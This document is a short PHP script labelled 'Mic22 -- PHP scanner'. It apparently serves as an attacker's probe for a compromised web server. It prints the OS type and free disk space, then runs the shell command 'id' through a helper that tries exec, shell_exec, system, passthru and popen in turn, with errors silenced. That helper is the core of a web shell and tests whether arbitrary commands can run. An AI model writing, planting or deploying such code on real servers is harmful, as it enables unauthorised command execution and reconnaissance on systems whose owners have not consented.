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Mic22 -- PHP scanner

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$dir = @getcwd();
echo "Mic22<br>";
$OS = @PHP_OS;
echo "OSTYPE:$OS<br>";
$free = disk_free_space($dir);

if ($free === FALSE) {$free = 0;}

if ($free < 0) {$free = 0;}
echo "Free:".view_size($free)."<br>";

$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;

function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}

function view_size($size)

{

if (!is_numeric($size)) {return FALSE;}

else

{

if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}

elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}

elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}

else {$size = $size . " B";}

return $size;

}}

exit;